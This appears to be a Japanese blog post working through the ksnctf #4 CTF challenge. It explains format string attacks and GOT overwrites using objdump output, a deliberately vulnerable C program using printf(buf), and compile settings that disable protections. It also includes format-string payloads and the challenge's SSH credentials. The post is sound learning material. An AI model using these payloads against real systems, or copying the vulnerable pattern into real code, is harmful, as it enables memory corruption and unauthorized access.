5
2

More than 5 years have passed since last update.

ksnctf #4のリバースエンジニアリング的なことから、format string attack(書式文字列攻撃)を学ぶ

Last updated at Posted at 2018-12-16

はじめに

ksnctf #4の仕組みを理解する為に、リバースエンジニアリングっぽいことをして手元で試してみたかった記録です。(未完

やっていることはformat string attack(書式文字列攻撃)。簡単に言うと、printfのフォーマット文字列の文字列ごと外部から変更可能なコードだと、アセンブラを覗いて好きなデータを覗いたり実行したり出来ちゃうよ!って話です。

ksnctf #4の概要

以下にアクセスした直下にq4というバイナリがあります。

SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49

こちらのコードがfgetsで取得した値をそのままprintfにぶち込んでる
⇒その後に呼ばれるputcharのjmp先を本来呼ばれないはずのfopenに書き換えて、アクセス権の無いファイルを開いてしまおう!
という問題でした。

実際にポイントとなるアドレスはこちら。

objdump_-d_q4
08048474 <putchar@plt>:
 8048474:       ff 25 e0 99 04 08       jmp    *0x80499e0
 804847a:       68 08 00 00 00          push   $0x8
 804847f:       e9 d0 ff ff ff          jmp    8048454 <_init+0x30>

08048484 <fgets@plt>:
 8048484:       ff 25 e4 99 04 08       jmp    *0x80499e4
 804848a:       68 10 00 00 00          push   $0x10
 804848f:       e9 c0 ff ff ff          jmp    8048454 <_init+0x30>

...

080484b4 <printf@plt>:
 80484b4:       ff 25 f0 99 04 08       jmp    *0x80499f0
 80484ba:       68 28 00 00 00          push   $0x28
 80484bf:       e9 90 ff ff ff          jmp    8048454 <_init+0x30>

先頭のjmpで参照しているレジスタのアドレスがfgetsが0x80499e4, printfが0x80499f0。
入力で使われるのはfgetsなので、そのアドレス+6バイトのところにprintfで参照しているレジスタのアドレスが来る計算となります。
そこに"putcharの参照するレジストリを0x80499f0から別の場所にを書き換える処理"の文字列をぶち込むようにすればいいという理解でいます。

ksnctfの問題に対してリバースエンジニアリング的なことをしてみる。

作成コード

ksnctfの問題で出ていたオブジェクトのobjdump結果を元に作ってみました。
コメントのアドレスは元ネタのq4バイナリをobjdumpした際のアドレス。
fgetsの後のprintfで書式文字列攻撃をしていたからこんな感じだと思うんですよね。

通常はfopenが絶対呼べないコードですが、なるほど確かにメモリ配置を把握出来て、最初のfgetsで入力した文字列を使ってそこにアクセスできるなら、fopenの実行が可能になりそう。

main.c
#include <stdio.h>
#include <string.h>

int main(int argc, char*argv[]) {
    char buf[1024]={0};

    /*80484c4 <puts@plt>*/
    printf("What's your name?\n");

    /*8048484 <fgets@plt>*/
    fgets(buf, sizeof(buf), stdin);
    /*80484b4 <printf@plt>*/
    printf("Hi, ");
    /*80484b4 <printf@plt>, 書式文字列攻撃*/
    printf(buf);
    /*8048474 <putchar@plt>*/
    putchar('\n');

    /*8048681 <main+0xcd>*/
    while(1) {
        /*80484c4 <puts@plt>*/
        puts("Do you want the flag?");

        /*8048484 <fgets@plt>*/
        if(fgets(buf, sizeof(buf), stdin) == NULL) break;

        /*80484e4 <strcmp@plt>*/
        int ret = strcmp(buf,"no\n");
        if(ret == 0) {
            /*80484c4 <puts@plt>*/
            puts("I see. Good bye.");
            break;
        }

        if(ret != 0) {
            continue;
        }
        /*80484a4 <fopen@plt> ~*/
        FILE * fp = fopen("flag.txt", "r");
        fgets(buf, sizeof(buf), fp);
        printf("%s", buf);
    }
    return 0;
}

※投稿してから思ったけどfopen処理後にbreakしてないな(笑)

コンパイルしてみる。

動作環境はUbuntu18.04、gccのバージョンは7.3.0です。
コンパイルオプションやカーネル設定も重要になります。
というのも上記のような攻撃に対応するためちゃんとkernel, コンパイラで制御が入っているから。

例えばgccのstack-protectorオプションでスタック破壊を検出する仕組み(カナリアというそうです)が入っています。
参考: バッファオーバーフロー: #5 運用環境における防御

というわけでこんな感じでコンパイル。

$ sudo sysctl -w kernel.randomize_va_space=0
$ gcc  -z execstack -fno-stack-protector  main.c -o q4

randomize_va_spaceはASLRという機能に関する設定で、こちらはプログラムに展開されるデータの配置をランダムにする設定。
無効⇒objdumpと同じ配置になるということですかね。

また、execstackはスタック実行可能フラグを設定するもの。
こうやって見るだけでも、色々な脆弱性対応がデフォルトで行われているんですね。

また新しいgccは優秀で、format string attackが出来る脆弱コードには警告が出るようになっていました。素晴らしい!

main.c: In function ‘main’:
main.c:15:9: warning: format not a string literal and no format arguments [-Wformat-security]
  printf(buf);

動作を見てみる

記事と同じ理屈で実験。

私の手元でbuildした際は、printfとfgetsの参照しているレジスタアドレスの差は4バイトでした。なのでfgetsの入力を%pした際の4番目が実際にfgetsで書き込まれる値となるはず。

objdump
0000000000000670 <putchar@plt>:
 670:   ff 25 32 09 20 00       jmpq   *0x200932(%rip)        # 200fa8 <putchar@GLIBC_2.2.5>
 676:   68 00 00 00 00          pushq  $0x0
 67b:   e9 e0 ff ff ff          jmpq   660 <.plt>

0000000000000690 <printf@plt>:
 690:   ff 25 22 09 20 00       jmpq   *0x200922(%rip)        # 200fb8 <printf@GLIBC_2.2.5>
 696:   68 02 00 00 00          pushq  $0x2
 69b:   e9 c0 ff ff ff          jmpq   660 <.plt>

00000000000006a0 <fgets@plt>:
 6a0:   ff 25 1a 09 20 00       jmpq   *0x20091a(%rip)        # 200fc0 <fgets@GLIBC_2.2.5>
 6a6:   68 03 00 00 00          pushq  $0x3
 6ab:   e9 b0 ff ff ff          jmpq   660 <.plt>

試してみます。

echo -e "\x32\x09\x20,%x,%x,%x,%x,%x,%x,%x,%
x" | ./q4
What's your name?
Hi, 2    ,202c6948,0,0,3abbb4c0,0,f132f7f8,1f6573f8,2c200932

うまく入力した中身が参照出来ている
…ってあれ?表示位置が8バイトだ。まあじゃあ8バイトずらすことになるのか。しかも謎の2cがついてる。まあ多分大丈夫だろう。

また、先頭4byte分空白がありますね。ということは飛びたい位置-4でいいのかな。
そしてfopen周辺は0x08d2(2258)。

main
00000000000007ea <main>:
 7ea:   55                      push   %rbp
 7eb:   48 89 e5                mov    %rsp,%rbp
... fgetsの周り
 83b:   e8 60 fe ff ff          callq  6a0 <fgets@plt>
 840:   48 8d 3d 7f 01 00 00    lea    0x17f(%rip),%rdi        # 9c6 <_IO_stdin_used+0x16>
 847:   b8 00 00 00 00          mov    $0x0,%eax
 84c:   e8 3f fe ff ff          callq  690 <printf@plt>
 851:   48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax
 858:   48 89 c7                mov    %rax,%rdi
 85b:   b8 00 00 00 00          mov    $0x0,%eax
 860:   e8 2b fe ff ff          callq  690 <printf@plt>
 865:   bf 0a 00 00 00          mov    $0xa,%edi
 86a:   e8 01 fe ff ff          callq  670 <putchar@plt>
...jumpしたいところ周辺
 8d0:   75 4f                   jne    921 <main+0x137>
 8d2:   48 8d 35 1d 01 00 00    lea    0x11d(%rip),%rsi        # 9f6 <_IO_stdin_used+0x46>
 8d9:   48 8d 3d 18 01 00 00    lea    0x118(%rip),%rdi        # 9f8 <_IO_stdin_used+0x48>
 8e0:   e8 db fd ff ff          callq  6c0 <fopen@plt>
 8e5:   48 89 45 f0             mov    %rax,-0x10(%rbp)
 8e9:   48 8b 55 f0             mov    -0x10(%rbp),%rdx
 8ed:   48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax

よし、ここから導きだされる実行オプションは…これだ!

`echo -e "\x32\x09\x20%2254x%8\$n" | ./q4
What's your name?
Hi, 2    (スペース中略)
Segmentation fault (core dumped)``

なんでだー!
うーん、多分他にもgccやkernelのオプションでうまくガードしているのかな。詳しい方コメントください!
まあ攻撃の仕組みはなんとなくわかったから満足

最後に

というわけで、format string attackと、ついでにアセンブラを読んでリバースエンジニアリングしてみた話です。
こういった攻撃を知ることもそうですし、ちゃんと意識せずともLinuxの仕組みで攻撃対策がされていることを知ることが出来たのが収穫でした。
脆弱性対策ってほんと大事。

参考

ksnctf 4 Villager A 300pt
GOT overwrite ~ ksnctf #4 Villager A ~
format string attackによるメモリ読み出しをやってみる
ASLRとKASLRの概要
バッファオーバーフロー: #5 運用環境における防御

5
2
2

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
2